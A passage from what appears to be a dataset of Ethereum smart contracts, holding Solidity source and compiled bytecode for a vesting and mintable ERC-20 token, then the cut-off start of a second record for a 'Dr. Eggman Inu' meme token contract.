_releaseDate ) public { token = _token; releaseDate = _releaseDate; owner = _beneficiary; } /* After vesting period, this function transfers all available tokens * from it's account to `_recipient` address. This address could either be * a wallet or another smart contract. If the transfer was successful, it * selfdestructs the contract. */ function claim ( address _recipient, bytes _data ) external onlyOwner returns (bool success) { require(_recipient != address(0)); require(block.timestamp > releaseDate); uint256 funds = token.balanceOf(this); require(token.transfer(_recipient, funds)); // require(token.transfer(_recipient, funds, _data)); // ERC-20 compatible string selfdestruct(msg.sender); return true; } /* From: https://github.com/ethereum/EIPs/issues/223 * * A function for handling token transfers, which is called from the token * contract, when a token holder sends tokens. `_from` is the address of the * sender of the token, `_value` is the amount of incoming tokens, and * `_data` is attached data similar to `msg.data` of Ether transactions. * It works by analogy with the fallback function of Ether transactions and * returns nothing. */ function tokenFallback( address _from, uint _value, bytes _data ) external view { require(msg.sender == address(token)); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract BITToken is MintableToken, PausableToken { event Vested(address indexed beneficiary, address indexed vestingContract, uint256 releaseDate, uint256 amount); event BITTransfer(address indexed _from, address indexed _to, uint256 _value, bytes32 data); uint256 public constant decimals = 18; string public constant name = "TempToken"; string public constant symbol = "TEMP"; /** * This function creates vesting fund for `_beneficiary` and mints * `_amount` tokens to its account. Minted tokens will remain frozen * for `_releaseDate` blocks. */ function BITToken () public MintableToken() { } function transfer (address _to, uint256 _value, bytes32 _data) public returns(bool res) { if (PausableToken.transfer(_to, _value)) { emit BITTransfer(msg.sender, _to, _value, _data); return true; } } function transferFrom (address _from, address _to, uint256 _value, bytes32 _data) public returns(bool res) { if (PausableToken.transferFrom(_from, _to, _value)) { emit BITTransfer(_from, _to, _value, _data); return true; } } function vest( address _beneficiary, uint256 _releaseDate, uint256 _amount ) public onlyOwner canMint returns (address) { address vestingContract = new BITVesting( this, _beneficiary, _releaseDate ); assert (vestingContract != 0x0); require(mint(vestingContract, _amount)); emit Vested(_beneficiary, address(vestingContract), _releaseDate, _amount); return vestingContract; } }
0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461012d57806306fdde031461015c578063095ea7b3146101ec57806318160ddd1461025157806323b872dd1461027c5780632546de1014610301578063313ce567146103985780633f4ba83a146103c3578063401e3367146103da57806340c10f191461046d57806357cfeeee146104d25780635c975abb14610545578063661884631461057457806370a08231146105d95780637d64bcb4146106305780638456cb591461065f5780638da5cb5b1461067657806395d89b41146106cd578063a9059cbb1461075d578063d73dd623146107c2578063dd62ed3e14610827578063f2fde38b1461089e575b600080fd5b34801561013957600080fd5b506101426108e1565b604051808215151515815260200191505060405180910390f35b34801561016857600080fd5b506101716108f4565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b1578082015181840152602081019050610196565b50505050905090810190601f1680156101de5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f857600080fd5b50610237600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061092d565b604051808215151515815260200191505060405180910390f35b34801561025d57600080fd5b5061026661095d565b6040518082815260200191505060405180910390f35b34801561028857600080fd5b506102e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610967565b604051808215151515815260200191505060405180910390f35b34801561030d57600080fd5b50610356600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050610999565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103a457600080fd5b506103ad610b5e565b6040518082815260200191505060405180910390f35b3480156103cf57600080fd5b506103d8610b63565b005b3480156103e657600080fd5b50610453600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035600019169060200190929190505050610c23565b604051808215151515815260200191505060405180910390f35b34801561047957600080fd5b506104b8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cbc565b604051808215151515815260200191505060405180910390f35b3480156104de57600080fd5b5061052b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035600019169060200190929190505050610ea2565b604051808215151515815260200191505060405180910390f35b34801561055157600080fd5b5061055a610f39565b604051808215151515815260200191505060405180910390f35b34801561058057600080fd5b506105bf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f4c565b604051808215151515815260200191505060405180910390f35b3480156105e557600080fd5b5061061a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7c565b6040518082815260200191505060405180910390f35b34801561063c57600080fd5b50610645610fc4565b604051808215151515815260200191505060405180910390f35b34801561066b57600080fd5b5061067461108c565b005b34801561068257600080fd5b5061068b61114d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106d957600080fd5b506106e2611173565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610722578082015181840152602081019050610707565b50505050905090810190601f16801561074f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561076957600080fd5b506107a8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111ac565b604051808215151515815260200191505060405180910390f35b3480156107ce57600080fd5b5061080d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111dc565b604051808215151515815260200191505060405180910390f35b34801561083357600080fd5b50610888600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061120c565b6040518082815260200191505060405180910390f35b3480156108aa57600080fd5b506108df600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611293565b005b600360149054906101000a900460ff1681565b6040805190810160405280600981526020017f54656d70546f6b656e000000000000000000000000000000000000000000000081525081565b6000600360159054906101000a900460ff1615151561094b57600080fd5b61095583836113eb565b905092915050565b6000600154905090565b6000600360159054906101000a900460ff1615151561098557600080fd5b6109908484846114dd565b90509392505050565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109f857600080fd5b600360149054906101000a900460ff16151515610a1457600080fd5b308585610a1f611f78565b808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051809103906000f080158015610aab573d6000803e3d6000fd5b50905060008173ffffffffffffffffffffffffffffffffffffffff1614151515610ad157fe5b610adb8184610cbc565b1515610ae657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f6d06f0a463d80b43fe6cd0b79c61bb2790cfe898790e69828f25e6e12886e1788686604051808381526020018281526020019250505060405180910390a3809150509392505050565b601281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bbf57600080fd5b600360159054906101000a900460ff161515610bda57600080fd5b6000600360156101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000610c30858585610967565b15610cb3578373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3c1060a8ab07951b1bc641f8b8e35ab86329feac6e4565aac49ba3a168b9a1bb85856040518083815260200182600019166000191681526020019250505060405180910390a360019050610cb4565b5b949350505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d1a57600080fd5b600360149054906101000a900460ff16151515610d3657600080fd5b610d4b8260015461189790919063ffffffff16565b600181905550610da2826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000610eae84846111ac565b15610f31578373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f3c1060a8ab07951b1bc641f8b8e35ab86329feac6e4565aac49ba3a168b9a1bb85856040518083815260200182600019166000191681526020019250505060405180910390a360019050610f32565b5b9392505050565b600360159054906101000a900460ff1681565b6000600360159054906101000a900460ff16151515610f6a57600080fd5b610f7483836118b3565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561102257600080fd5b600360149054906101000a900460ff1615151561103e57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110e857600080fd5b600360159054906101000a900460ff1615151561110457600080fd5b6001600360156101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f54454d500000000000000000000000000000000000000000000000000000000081525081565b6000600360159054906101000a900460ff161515156111ca57600080fd5b6111d48383611b44565b905092915050565b6000600360159054906101000a900460ff161515156111fa57600080fd5b6112048383611d63565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112ef57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561132b57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561151a57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561156757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156115f257600080fd5b611643826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f5f90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116d6826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117a782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f5f90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600081830190508281101515156118aa57fe5b80905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156119c4576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a58565b6119d78382611f5f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611b8157600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611bce57600080fd5b611c1f826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f5f90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cb2826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000611df482600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000828211151515611f6d57fe5b818303905092915050565b60405161088e80611f89833901905600608060405234801561001057600080fd5b5060405160608061088e833981018060405281019080805190602001909291908051906020019092919080519060200190929190505050336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600281905550816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505061076d806101216000396000f300608060405260043610610078576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680638da5cb5b1461007d578063b9e3e2db146100d4578063bb1757cf146100ff578063c0ee0b8a14610172578063f2fde38b146101d7578063fc0c546a1461021a575b600080fd5b34801561008957600080fd5b50610092610271565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156100e057600080fd5b506100e9610296565b6040518082815260200191505060405180910390f35b34801561010b57600080fd5b50610158600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190820180359060200191909192939192939050505061029c565b604051808215151515815260200191505060405180910390f35b34801561017e57600080fd5b506101d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001919091929391929390505050610564565b005b3480156101e357600080fd5b50610218600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105c6565b005b34801561022657600080fd5b5061022f61071b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156102fa57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415151561033657600080fd5b6002544211151561034657600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561040357600080fd5b505af1158015610417573d6000803e3d6000fd5b505050506040513d602081101561042d57600080fd5b81019080805190602001909291905050509050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb86836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561050557600080fd5b505af1158015610519573d6000803e3d6000fd5b505050506040513d602081101561052f57600080fd5b8101908080519060200190929190505050151561054b57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16ff5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105c057600080fd5b50505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561062157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561065d57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16815600a165627a7a723058203ddf4db0cdeeb99a0d6b80230e9d6efb59f175cf20f5d964e547cfc0ef836d7a0029a165627a7a723058200bdccdc03e1d4deea8353273267cf6f09627e86e4da1195a809f489745dbb9060029
{"success": true, "error": null, "results": {}}
9,545
0x720cca6f7f8bdcfcec73ee9fb3af83fa80591761
/** *Submitted for verification at Etherscan.io on 2021-10-18 */ /** * https://t.me/arbi_kirby * arbikirby.neocities.org */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract EGGMAN is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Dr. Eggman Inu"; string private constant _symbol = unicode"EGGMAN🥚"; uint8 private constant _decimals = 9; uint256 private _taxFee = 2; uint256 private _teamFee = 8; uint256 private _feeRate = 5; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; bool private _useImpactFeeSetter = true; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint 